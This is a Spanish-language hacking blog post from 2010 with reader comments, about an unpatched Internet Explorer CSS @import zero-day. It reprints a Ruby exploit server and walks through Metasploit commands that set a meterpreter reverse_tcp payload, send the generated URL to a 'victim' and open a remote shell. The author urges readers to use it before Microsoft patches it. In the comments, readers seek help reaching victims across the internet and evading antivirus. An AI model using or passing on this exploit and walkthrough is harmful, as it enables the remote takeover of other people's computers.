28 dic. 2010

[0Day] Todas las Versiones de Internet Explorer Afectadas (Cómo Explotarlo con Metasploit)

Bueno mis amigos, esta vulneravilidad es super nueva, y todavía no es parchada oficialemte por el equipo de Microsoft, así que apurence en usarla XD.

No voy a entrar a especificar como funciona la vulnerabilidad en sí ni les voy a ser perder su tiempo leyendo sobre la criticidad del bug (es muy crítico) ni sus repercuciones, así que al grano:

Exploit en Ruby:
#!/usr/bin/env ruby
 
# Source: http://www.breakingpointsystems.com/community/blog/ie-vulnerability/
# Author: Nephi Johnson (d0c_s4vage)
 
require 'socket'
  
def http_send(sock, data, opts={})
    defaults = {:code=>"200", :message=>"OK", :type=>"text/html"}
    opts = defaults.merge(opts)
     
    code = opts[:code]
    message = opts[:message]
    type = opts[:type]
     
    to_send = "HTTP/1.1 #{code} #{message}\r\n" +
              "Date: Sat, 11 Dec 2010 14:20:23 GMT\r\n" +
              "Cache-Control: no-cache\r\n" +
              "Content-Type: #{type}\r\n" +
              "Pragma: no-cache\r\n" +
              "Content-Length: #{data.length}\r\n\r\n" +
              "#{data}"
    puts "[+] Sending:"
    to_send.split("\n").each do |line|
        puts "    #{line}"
    end
    sock.write(to_send) rescue return false
    return true
end
  
def sock_read(sock, out_str, timeout=5)
    begin
        if Kernel.select([sock],[],[],timeout)
            out_str.replace(sock.recv(1024))
            puts "[+] Received:"
            out_str.split("\n").each do |line|
                puts "    #{line}"
            end
        else
            sock.close
            return false
        end
    rescue Exception => ex
        return false
    end
end
  
def to_uni(str)
    res = ""
    str.each_byte do |b|
        res << "\x00#{b.chr}"
    end
    res
end
  
@css_name = "\x00s\x03s\x00s\x03s\x00s\x03s\x00s\x03s"
@html_name = "test.html"
placeholder = "a" * (@css_name.length/2)
  
@html = <<-HTML
    
HTML
@html = "\xfe\xff" + to_uni(@html)
@html.gsub!(to_uni(placeholder), @css_name)
  
@css = <<-CSS
@import url("#{placeholder}");
@import url("#{placeholder}");
@import url("#{placeholder}");
@import url("#{placeholder}");
CSS
@css = "\xfe\xff" + to_uni(@css)
@css.gsub!(to_uni(placeholder), @css_name)
  
@index = <<-INDEX
#{@html_name}
INDEX
  
TCPServer.open(55555) do |srv|
    while true
        cli = srv.accept
        req = ""
        html = ""
        css = ""
        index = ""
        next unless sock_read(cli, req, 5)
        while req.length > 0
            if req =~ /GET/
                if req =~ /GET.*#{Regexp.escape(@html_name)}/
                    break unless http_send(cli, @html, :type=>"text/html")
                elsif req =~ /GET.*index/
                    break unless http_send(cli, @index)
                elsif req =~ /GET.*#{Regexp.escape(@css_name)}/
                    break unless http_send(cli, @css, :type=>"text/css")
                else
                    break unless http_send(cli, @css, :type=>"text/css")
                end
            elsif req =~ /QUIT/
                exit()
            end
            req = ""
            next unless sock_read(cli, req, 5)
        end
        cli.close rescue next
    end
end
Los que entiendan Ruby lo pueden analizar y les recomiendo que lo lean y jueguen con él así se entretendrán un rato intentando entenderlo al 100% XD.
Tengo que recalcar que si quieren de verdad meterse en el mundo del "hacking" si es que se le puede llamar así, tienen que aprender a programar y a entender todo tipo de códigos, en especial perl y ruby (sin mencionar los que si o si tienen que saber como HTML y PHP). Bueno, y para todos aquellos que lo quieren todo facilito y sin perder tiempo intentando enterder las cosas, está METASPLOIT!! (cha-chan)!
Explotar 0Day de Internet Explorer con Metasploit:
1° Partimos Metasploit y ejecutamos svn update para que se actualice y descargue el exploit que usaremos aquí: ms11_xxx_ie_css_import.
2° Luego desde Metasploit hacemos lo siguiente:
msf > use exploit/windows/browser/ms11_xxx_ie_css_import
msf exploit (ms11_xxx_ie_css_import) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit (ms11_xxx_ie_css_import) > set SRVHOST 200.152.251.123
SRVHOST => 200.152.251.123
msf exploit (ms11_xxx_ie_css_import) > set LHOST 200.152.251.123
LHOST => 200.152.251.123
msf exploit (ms11_xxx_ie_css_import) > exploit
[+] Exploit running as background job.
[+] Started reverse handler on 200.152.251.123:4444
[+] Using URL: http://200.152.251.123:8080/WrwOMjN
Entro a explicar:  
use exploit/windows/browser/ms11_xxx_ie_css_import (Definimos el exploit que vamos a usar) 
set PAYLOAD windows/meterpreter/reverse_tcp (Definimos el Payload que usaremos)
set SRVHOST 200.152.251.123 (IP local donde va a montar el servicio, o sea la nuestra)
set LHOST 200.152.251.123 (IP donde se conectará la víctima, o sea la nuestra)
exploit (echamos a correr el exploit)
Bueno, lo importante de esto es la url que nos tira metasploit:
http://200.152.251.123:8080/WrwOMjN
Esa Url se le tiene que enviar a nuestra Víctima y obligatoriamente tiene que abrirla con Internet Explorer (casi obvio).
Cuando abra la URL aparecerán un montón de secuencias que no quiero postearlas para no hacer más larga mi publicación, pero si todo sale bien saldrá algo como esto:
[+] Spawning a notepad.exe host process...
[+] Migrating into ID 4435

msf exploit (ms11_xxx_ie_css_import) >
Todo OK, y ahora verificamos si nuestra Víctima cayó:
msf exploit (ms11_xxx_ie_css_import) > sessions 1
Si aparece una sesión significa que nuestra Víctima cayó y ahora nos queda conectarnos a ella:
msf exploit (ms11_xxx_ie_css_import) > sessions -i 1
Y luego pueden ejecutar cualquiera de estos 2 comandos, elijan ustedes:
msf exploit (ms11_xxx_ie_css_import) > shell

msf exploit (ms11_xxx_ie_css_import) > execute -f cmd.exe -H -i
Suerte y espero les haya gustado.
[+] Salu2
[+] ZioneR
P.D: Recomendación: Usen Firefox XD

Author & Editor

Ingeniero Civil en Computación (Universidad de Chile FCFM) y Diplomado en Gestión y Evaluación de Proyectos TI (Universidad de Chile FEN). Actualmente trabajo como Project Manager en varios proyectos y como asesor tecnológico para empresas.

15 Notaciones:

  1. Excelente como siempre tio
    +1 :P

    ResponderEliminar
  2. Pero que neófito, Ruby no se compila es un lenguaje interpretado.

    ResponderEliminar
  3. @Ignacio
    Toda la razón viejo, mi error ;)
    [+] Salu2

    P.d: neófito XD

    ResponderEliminar
  4. ZioneR xd
    Todos nos confundimos alguna vez (Confundí HTML con PHP una vez.., hace años xD)

    ResponderEliminar
  5. tengo una duda acerca dela utilización del exploit con msf(metasplit)como mencionaste el exploit nos devuelve una url que ala vez nos devuelve una sesion el asunto es que esto solo sirve a nivel local?, solo podre explotar la vulnerabilidad en una red lan?
    mi otra pregunta es que luego de que me devuelva una sesión puedo utilizar otro exploit como el ms08_067_netapi,la sesión que supuestamente me devolvió el exploit anterior seguirá activa?
    -----
    excelente info

    ResponderEliminar
  6. Querido @Anónimo :

    Con respecto a la 1° pregunta, el exploit lo puedes usar en una red lan, man, wan, donde quieras.

    Con respecto a la 2°, no entendí muy bien, pero se mantendrán activas todas las sessions que logres con los exploits, en la medida de que los ejecutes en distintas ventanas y distintos puertos.

    [+] Salu2
    [+] ZioneR

    ResponderEliminar
  7. grax ZioneR por responder me a quedado muy claro
    saludos

    ResponderEliminar
  8. lo e intentado en lan (poniendo mi ip de lan XD)y 0 problema.
    pero al intentarlo poniendo mi ip publica 200.85.xxx.xxx me arroja lo sigiente
    ----------------------------------------

    [-] Handler failed to bind to 200.85.xxx.xxx:4444
    [-] Handler failed to bind to 0.0.0.0:4444
    [-] Exploit exception: The address is already in use (0.0.0.0:4444).

    -----------------------------------------
    algien meda algun consejo ?

    ResponderEliminar
  9. debes configurar nat en tu router o adsl que te esta dando la salida a la wan... sino el pueto 4444 que estas usando para el payload esta cerrado debes abrirlo o redireccionarlo

    ResponderEliminar
  10. la verdad que no entendi mucho
    eso del nat quiere desir que tengo que abrir el puerto en el router (tengo un zhone)? o es estoy muy perdido ?

    ResponderEliminar
  11. NAT -- Virtual Servers

    ---------------------------------------------------------------------------
    Server External External Protocol Internal Internal Server Remote
    Name Port Port Port Port IP Host
    Start End Start End Address
    --------------------------------------------------------------------------- x 4444 4444 TCP 4444 4444 192.168.1.203 ----
    --------------------------------------------------------------------------- a 8080 8080 TCP 8080 8080 192.168.1.203 ----
    ---------------------------------------------------------------------------
    e configurado mi router de esta forma.y al escanear con nmap me lanza lo sigiente
    estara bien la configuracion por que a un nome funciona
    -----------------------------------------------------------------
    Starting Nmap 5.21 ( http://nmap.org ) at 2011-01-18 23:21 CLST
    Nmap scan report for 200.126.xxx.xxx
    Host is up (0.16s latency).
    Not shown: 994 closed ports
    PORT STATE SERVICE
    21/tcp open ftp
    22/tcp open ssh
    23/tcp open telnet
    80/tcp open http
    4444/tcp filtered krb524
    8080/tcp filtered http-proxy

    Nmap done: 1 IP address (1 host up) scanned in 4.87 seconds

    muchas grasias por la ayuda.

    ResponderEliminar
  12. Hola

    he probado el exploit sin mucho exito en mi red local, internet explorer se cierra con lo cual no crea session y mucho menos devolver una shell, por otra parte desactive el antivirus "Avira" porque me lo detecto. Que parte del codigo habria que retocar para indetectar el exploit?

    Internet explorer 8 estaba con actualizacion de noviembre del 2010
    Win xp sp3

    un saludo

    solodebian

    ResponderEliminar
  13. @ Anónimo

    Viejo, lamentablemente el bug ya fue parchado por el equipo de Microsoft :(

    ResponderEliminar
  14. Gracias por responder Zioner
    sospechaba que microsoft ya habria sacado el parche pero creia que si el ie no estaba actualizado se podria explotar, pero quizas haya una actualizacion de S.O que impida acabar de explotar el ie aunque no este actualizado, podria ser?

    solodebian

    ResponderEliminar
  15. soy nuevo en esto, metasploit me tira error cuando intento usar el ms11_xxx_ie_css_import me dice: Failed to load module: exploit/windows/browser/ms11_xxx_ie_css_import, y actulize la svn y me responde
    msf > svn update
    [*] exec: svn update

    Omitiendo «.»

    estoy usando ubuntu 10.10 x86

    ResponderEliminar

Nota: solo los miembros de este blog pueden publicar comentarios.

Labels

0-day (12) 1337day (1) 8.8 (2) Adobe Acrobat (1) Android (2) Anonimato (1) Anonymous (9) BackDoor (2) BackTrack (15) badUSB (1) Base64 (1) Black Hat (5) BlackHat (1) Blackploit (25) Brute Force (3) Bug (106) Bypass Password (1) Bypass Redirect (1) C99 Shell (1) Carding (1) CheatSheet (15) Chilean Way (1) Conference (9) Cryptsetup (1) DDoS (11) DEF CON (3) DEFCON (6) Diapositivas (1) Diseño Web (1) Distro Linux (27) Documental (2) DoS (2) Drupal (1) DuckDuckGo (1) E-zine (18) Ekoparty (1) Escaneo (4) España (1) Exploit (64) Facebook (1) Fast-Info (44) FBI (1) Ficheros Binarios (1) Firefox (4) Flash (2) Forense (9) Fuerza Bruta (11) Fuga de Datos (1) GhostShell (1) GNU/Linux (4) Google (2) Guía (1) Hack T00LZ (130) Hack Tips (63) Hacked (6) Hacking (18) Hacking Hardware (5) HashCat (1) Herramientas (121) HighSecCON (1) Humor Geek (13) Infografía (1) Ingeniería Social (5) Inj3ct0r (1) Internet Explorer (3) Java (7) JavaScript (2) Kali (3) KitPloit (1) Leaks (21) Linux OS (79) LulzSec (1) Mac OS (10) Magazine (1) Malaware (3) Malaware Tools (12) Malware (1) Man in the Middle (15) Manuales (3) MD5 CRACK (4) Metasploit (57) MSSQL (1) MySQL (6) MySQL CRACK (1) Nmap (6) Nmap NSE (2) Noticias (193) NTLM CRACK (1) Ofuscar (5) OpenSolaris OS (1) OpenSSL (1) ORACLE (1) OWASP (3) Paper (9) PDF (6) PenTest (14) Perl (2) Phearking (13) Phishing (3) PHP (13) phpMyAdmin (1) PoC (1) Premios Bitacoras (1) Presentaciones (9) PRISM (1) Privacidad (2) Programación (12) Programas Linux (41) Programas Windows (41) Pwned (1) Python (4) Reconocimiento (5) Ruby (2) s (1) Scripts (7) Seguridad (144) Seguridad Web (139) Seguridad Wireless (19) Sensitive Data Exposure (2) SHA1 CRACK (1) Shellshock (1) Slides (1) Spoofing (1) Spyware (1) SQLi (19) SQLi Tools (7) SQLMap (2) SSH (1) Textos (73) Tips (57) Troyanos y Virus (11) Trucos (7) Trucos Win (7) Turiales (56) Tutoriales (18) Twitter (1) Ubuntu (2) Unlock (1) URL Redirection (1) UXSS (1) vBulletin (1) Video (47) Virtualización (2) Web T00LZ (17) Wifislax (1) Wikileaks (1) WikiRebels (1) Windows OS (66) Wireless Tools (13) XSS (15) Youtube (1)

 
biz.